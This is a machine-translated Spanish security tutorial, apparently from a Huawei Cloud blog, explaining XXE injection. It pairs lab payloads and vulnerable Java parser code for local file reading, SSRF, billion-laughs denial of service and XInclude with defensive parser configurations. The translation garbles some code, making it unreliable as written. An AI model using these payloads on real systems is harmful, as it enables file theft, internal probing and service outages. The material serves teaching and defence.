De la teoría a la práctica, explica en detalle los ataques XXE

Este artículo se comparte desde la comunidad de la nube de Huawei " [Ataques y defensa de seguridad] Una serie de temas prácticos en términos simples: ataques XXE ", autor: MDKing.

1 Conceptos básicos

Conceptos básicos de XML: XML se refiere al lenguaje de marcado extensible (lenguaje de marcado extensible), que es un lenguaje de marcado de texto sin formato similar a HTML y está diseñado para transmitir datos en lugar de mostrarlos. Es un estándar recomendado por el W3C.

Etiquetas XML: XML está diseñado para ser autodescriptivo. Las etiquetas XML no están predefinidas. Usted debe definir las etiquetas y la estructura del documento. El siguiente es un documento xml que contiene información como título, remitente, destinatario, contenido, etc.

imagen1.png

DTD: se refiere a la Definición del tipo de documento, que restringe el contenido del documento xml para transportar datos de acuerdo con el formato especificado definiendo el nodo raíz, el elemento (ELEMENT), el atributo (ATTLIST), la entidad (ENTITY), etc.

Como se muestra en la figura siguiente, las reglas aprobadas <!DOCTYPE 根节点名称 [DTD内容]>especifican que el elemento de nodo raíz legal del archivo xml es personas, sus elementos de nodo secundario son persona y los elementos de subcapa y atributos de persona.

 

(Además: los archivos de definición de DTD externos se pueden introducir a través de <!DOCTYPE nombre de nodo raíz SISTEMA "nombre de archivo DTD">)

 

imagen2.png

Entidad: Definir una entidad en la DTD a través de tales métodos es equivalente a definir una variable. <!ENTITY 实体名称 "实体的值">Se puede hacer referencia &实体名称;al valor de la entidad (el valor de la variable) en el contenido del documento a través de dichos métodos.

Tipo de entidad: las entidades se dividen en varios tipos. Desde la dimensión del alcance de uso, se dividen en entidades paramétricas (solo se puede hacer referencia en DTD) y entidades no paramétricas (se puede hacer referencia en DTD y contenido del documento). Las diferencias son las siguientes:

 
  Muestra Método de referencia Ámbito de uso y escenarios.
entidades no paramétricas <!ENTITY país "China"> &país; Se puede hacer referencia a él en DTD y en el contenido del documento, y generalmente se usa para reemplazar cadenas repetidas.
entidad paramétrica <!ENTITY % countrydefine "Contenido de definición DTD del elemento xxx"> %país; Solo se puede hacer referencia a ellas en las definiciones de DTD, generalmente utilizadas para guardar una definición de DTD repetida.

Desde la dimensión fuente del valor, se divide en entidades internas y entidades externas. Las entidades internas definen valores directamente dentro del documento y las entidades externas obtienen contenido de algún lugar fuera del archivo a través de protocolos como http y file como valor de la entidad. Las diferencias son las siguientes:

 
  Muestra Características y escenarios de uso.
entidad interna <!ENTITY país "China"> Los valores son constantes de cadena explícitas, etc., que se pueden definir directamente en este documento.
Entidad externa <!ENTIDAD país SISTEMA "archivo:///D:/país.txt"> El valor proviene de otros archivos o de la red.

Inyección de entidad externa XML: la inyección de entidad externa XML es una vulnerabilidad de inyección de entidad externa xml, conocida como vulnerabilidad XXE. Este ataque ocurre cuando el analizador XML admite el análisis de entidades externas y el archivo XML que se va a analizar se puede controlar externamente. Los atacantes pueden lograr sus propios objetivos de ataque construyendo el contenido de entidades externas para que sean archivos en otros directorios locales, accediendo a URL designadas en la intranet/red externa, etc., para lograr fuga de información, ejecución de comandos, denegación de servicio, SSRF y Escaneo del puerto de intranet. Espere el propósito del ataque.

Xinclude: Xinclude se utiliza para importar documentos xml externos, similares al include de PHP, para introducir dtd definido externamente en el archivo actual. Esta característica puede resolver las limitaciones de introducir entidades externas en algunos escenarios, pero no todos los analizadores XML admiten XInclude. W3C enumera una lista admitida en el Informe de implementaciones de XInclude. XXE también se puede ejecutar en algunos escenarios cuando se combina con la característica XInclude. Los analizadores xml comunes que admiten la función xinclude desactivan la función xinclude de forma predeterminada. Si se usa, debe activarse manualmente en el código. Por ejemplo, si la siguiente configuración está activada en un analizador DOM, si Xinclude no está factory.setNamespaceAware(true);factory.setXIncludeAware(true);activado desactivado y sólo el análisis DTD está desactivado, existe un riesgo de seguridad.

2 Ejercicios prácticos de escenarios de ataque comunes

2.1 Lectura de archivos del servidor (fuga de información)

Propósito y escenario: al construir un documento xml en un formato específico y leer el contenido del archivo especificado en el servidor, se logra el propósito de obtener información confidencial.

carga útil del documento xml:

<?xml versión="1.0" codificación="UTF-8"?> 
<!DOCTYPE raíz [ 
	<!ELEMENT raíz (#PCDATA)> 
	<!ENTITY pw SYSTEM "file:///D:/securetest/xxe/passwd .txt">]> 
<raíz>&pw;</raíz>

Código del lado del servidor:

public static void main(String[] args) lanza ParserConfigurationException, IOException, SAXException { 
        String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<! 
                DOCTYPE raíz [ \n" + 
                "\t<!ELEMENT raíz (#PCDATA)>\n" + 
                "\t<!ENTITY pw SYSTEM \"archivo:///D:/securetest/xxe/passwd.txt\"> ]>\n" + 
                "<raíz>&pw;</raíz>"; 
        DocumentBuilderFactory fábrica = DocumentBuilderFactory.newInstance(); 
        factory.setValidating(verdadero); 
        Constructor de DocumentBuilder = factory.newDocumentBuilder(); 
        InputStream en = new ByteArrayInputStream(xml.getBytes()); 
        org.w3c.dom.Document documento = builder.parse(en); 
        Elemento rootElement = document.getDocumentElement(); 

        // 打印根节点元素名称、内容
        System.out.println("根节点名称:" + rootElement.getNodeName()); 
        System.out.println("根节点内容:" + rootElement.getTextContent()); 
}

Resultado de la ejecución: el contenido de passwd.txt se leyó correctamente. (El ejemplo de código del lado del servidor se imprime en la consola, lo que corresponde al sistema real que requiere imprimir el contenido del documento en la interfaz).

imagen3.png

2.2 Detección de información de intranet

Propósito y escenario: al construir un documento XML en un formato específico, el host de destino se puede utilizar para acceder a servicios como interfaces internas abiertas por otros hosts en la intranet.

Preparación para la simulación de otros servidores en la intranet: inicie el servidor mediante el comando nodo staticServer.js y escuche el puerto 3000

let express = require('express') 
let app = express(); 
aplicación.use(express.static(__dirname)); 
app.get('/getInnerData', function(req, res) { 
  console.log(req.headers) 
  res.end('AK:abc;SK:ABDCEF') 
}) 
app.listen(3000)

Después de la verificación, la solicitud http se puede devolver con éxito

imagen4.png

carga útil del documento xml:

<?xml versión="1.0" codificación="UTF-8"?> 
<!DOCTYPE raíz [ 
	<!ELEMENT raíz (#PCDATA)> 
	<!ENTITY pw SYSTEM "http://127.0.0.1:3000/getInnerData"> ]> 
<raíz>&pw;</raíz>

Código del lado del servidor:

public static void main(String[] args) lanza ParserConfigurationException, IOException, SAXException { 
        String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<! 
                DOCTYPE raíz [ \n" + 
                "\t<!ELEMENT raíz (#PCDATA)>\n" + 
                "\t<!ENTITY pw SYSTEM \"http://127.0.0.1:3000/getInnerData\">]>\n " + 
                "<raíz>&pw;</raíz>"; 
        DocumentBuilderFactory fábrica = DocumentBuilderFactory.newInstance(); 
        factory.setValidating(verdadero); 
        Constructor de DocumentBuilder = factory.newDocumentBuilder(); 
        InputStream en = new ByteArrayInputStream(xml.getBytes()); 
        org.w3c.dom.Document documento = builder.parse(en); 
        Elemento rootElement = document.getDocumentElement(); 

        // 打印根节点元素名称、内容
        System.out.println("根节点名称:" + rootElement.getNodeName()); 
        System.out.println("根节点内容:" + rootElement.getTextContent()); 
    }

Resultado de la ejecución: el contenido de la interfaz interna getInnerData se leyó correctamente.

imagen5.png

2.3 Ataque DDos

Propósito y escenario: al construir un documento XML con formato especial y definir múltiples capas de entidades (variables) a las que se hace referencia recursivamente, el contenido y el tiempo analizados aumentarán exponencialmente para lograr el efecto de los ataques DDos.

carga útil del documento xml:

<?xml versión="1.0" codificación="UTF-8"?> 
<!DOCTYPE raíz [ 
	<!ELEMENT raíz (#PCDATA)> 
	<!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n"> 
	<!ENTITY lol1 "&lol;&lol; &lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
	<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 
	" &lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;" 
	> 
	< !ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;& 
	lol5 ;">]> 
<raíz>&lol6;</raíz>

Código del lado del servidor:

public static void main(String[] args) lanza ParserConfigurationException, IOException, SAXException { 
    // 获取当前时间
    LocalDateTime startTime = LocalDateTime.now(); 
    String xml = "<?xml version=\"1.0\" codificación=\"UTF-8\"?>\n" + "<! 
            DOCTYPE raíz [ \n" + 
            "\t<!ELEMENT raíz (#PCDATA) >\n" + 
            "\t<!ENTITY jajaja \"lollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n\">\n" + "\ 
            t<!ENTITY jajaja1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol ;&lol;\">\n" + 
            "\t<!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n" + "\t 
            < !ENTIDAD jajaja3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n" + "\t<!ENTIDAD jajaja4 \"&lol3;&lol3;&lol3;&lol3;& 
            lol3 ;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n" + 
            "\t<!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\"> \n" + 
            "\t<!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;\">]>\n" + "<root>&lol6;</root>" 
            ; 
    DocumentBuilderFactory fábrica = DocumentBuilderFactory.newInstance(); 
    factory.setValidating(verdadero); 
    factory.setExpandEntityReferences (falso); 
    System.setProperty("entityExpansionLimit", "50000000"); 
    Constructor de DocumentBuilder = factory.newDocumentBuilder(); 
    InputStream en = new ByteArrayInputStream(xml.getBytes()); 
    org.w3c.dom.Document documento = builder.parse(en); 
    Elemento rootElement = document.getDocumentElement(); 

    // 打印根节点元素名称、内容
    System.out.println("根节点名称:" + rootElement.getNodeName()); 
    System.out.println("根节点内容:" + rootElement.getTextContent()); 
    System.out.println("根节点内容长度:" + rootElement.getTextContent().length()); 
    System.out.println("根节点内容大小:" + rootElement.getTextContent().getBytes().length / (1024 * 1024) + "MB"); 

    // 获取当前时间并计算时间差
    LocalDateTime endTime = LocalDateTime.now(); 
    Duración duración = Duración.entre (hora de inicio, hora de finalización); 
    System.out.println("解析执行时间为:" + duración.toMillis() + "豪秒"); 
}

Resultados de la ejecución: si no hay restricciones para analizar entidades en el programa, se puede usar una pequeña cantidad de definiciones DTD para lograr el efecto de resultados de análisis masivos, que ocuparán una gran cantidad de procesamiento y almacenamiento del servidor.

imagen6.png

2.4 Xinclude demostración de ataque

Propósito y escenario: este ejemplo demuestra los peligros de activar el conmutador Xinclude, e incluso si la seguridad DTD está deshabilitada, aún se pueden llevar a cabo ataques XXE.

carga útil del documento xml:

<?xml versión="1.0" codificación="UTF-8"?> 
<!DOCTYPE raíz [ 
	<!ELEMENT raíz (#PCDATA)> 
	<!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n"> 
	<!ENTITY lol1 "&lol;&lol; &lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
	<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 
	" &lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;" 
	> 
	< !ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;& 
	lol5 ;">]> 
<raíz>&lol6;</raíz>

Código del servidor:

public static void main(String[] args) lanza ParserConfigurationException, IOException, SAXException { 
    String xml = "<?xml version=\"1.0\" ?>\n" + 
            "<root xmlns:xi=\"http:// www.w3.org/2001/XInclude\">\n" + 
            "<xi:include href=\"file:///D:/securetest/xxe/passwd.txt\" parse=\"text\"/ >\n" + 
            "</raíz>"; 
    DocumentBuilderFactory fábrica = DocumentBuilderFactory.newInstance(); 
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", verdadero); 
    factory.setNamespaceAware (verdadero); 
    factory.setXIncludeAware (verdadero); 
    Constructor de DocumentBuilder = factory.newDocumentBuilder(); 
    InputStream en = new ByteArrayInputStream(xml.getBytes()); 
    org.w3c.dom.Document documento = builder.parse(en); 
    Elemento rootElement = document.getDocumentElement(); 

    // 打印根节点元素名称、内容
    System.out.println("根节点名称:" + rootElement.getNodeName()); 
    System.out.println("根节点内容:" + rootElement.getTextContent()); 
}

Resultados de:

imagen7.png

3 Defensa de codificación segura

3.1 Deshabilitar el encendido del interruptor Xinclude

Los analizadores xml comunes que admiten la función xinclude desactivan la función xinclude de forma predeterminada. Si se usa, debe activarse manualmente en el código. Por ejemplo, si la siguiente configuración está activada en un analizador DOM, si Xinclude no está factory.setNamespaceAware(true);factory.setXIncludeAware(true);activado desactivado y sólo el análisis DTD está desactivado, existe un riesgo de seguridad. 2.4 demuestra los problemas de seguridad que existen después de activar el interruptor de función Xinclude incluso si el análisis DTD está deshabilitado. Por lo tanto, desde una perspectiva de seguridad, está prohibido encender primero el conmutador Xinclude.

3.2 Deshabilitar el análisis de DTD

Si la definición y el análisis de DTD no son necesarios en el negocio, la mejor manera es deshabilitar completamente el análisis de DTD. Por ejemplo, el analizador de tipo Dom factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);se desactiva al pasar. El efecto es el siguiente:

imagen8.png

3.3 Deshabilitar la resolución de entidades externas

Método 1: si la definición y el análisis de DTD son realmente necesarios en el negocio, la protección de la seguridad se puede lograr deshabilitando únicamente el análisis de entidades externas. Por ejemplo, en el analizador de tipo Dom, el análisis de entidades externas se puede desactivar configurándolo de la siguiente manera:

factory.setFeature("http://xml.org/sax/features/external-general-entities", falso); 
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", falso); 
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", falso);

El efecto es el siguiente:

imagen9.png

Método 2: existe otra forma de deshabilitar el análisis de entidades externas, reescribiendo la función de análisis de entidades, el código central:

builder.setEntityResolver(new EntityResolver() { 
    @Override 
    public InputSource resolveEntity(String publicId, String systemId) lanza SAXException,IOException { 
        return new InputSource(new StringReader("")); 
    } 
});

El efecto es el siguiente:

imagen10.png

4 herramientas de escaneo de codificación segura

IoT ha extraído las especificaciones de codificación de seguridad de los analizadores XML de uso común, incluida la lógica de codificación de seguridad anterior, en conjuntos de reglas de seguridad personalizadas de IoT y las ha puesto en línea en los canales de producción y lanzamiento de todos los servicios de IoT para garantizar automáticamente la seguridad del código de red en vivo. de cada servicio. como:

imagen11.png

Haga clic para seguir y conocer las nuevas tecnologías de Huawei Cloud lo antes posible ~

El autor del marco de código abierto NanUI pasó a vender acero y el proyecto fue suspendido. La primera lista gratuita en la App Store de Apple es el software pornográfico TypeScript. Acaba de hacerse popular, ¿por qué los grandes empiezan a abandonarlo? Lista de octubre de TIOBE: Java tiene la mayor caída, C# se acerca Java Rust 1.73.0 lanzado Un hombre fue alentado por su novia AI a asesinar a la Reina de Inglaterra y fue sentenciado a nueve años de prisión Qt 6.6 publicado oficialmente Reuters: RISC-V La tecnología se convierte en la clave de la guerra tecnológica entre China y Estados Unidos. Nuevo campo de batalla RISC-V: no controlado por ninguna empresa o país, Lenovo planea lanzar una PC con Android.
{{o.nombre}}
{{m.nombre}}

Supongo que te gusta

Origin my.oschina.net/u/4526289/blog/10117384
Recomendado
Clasificación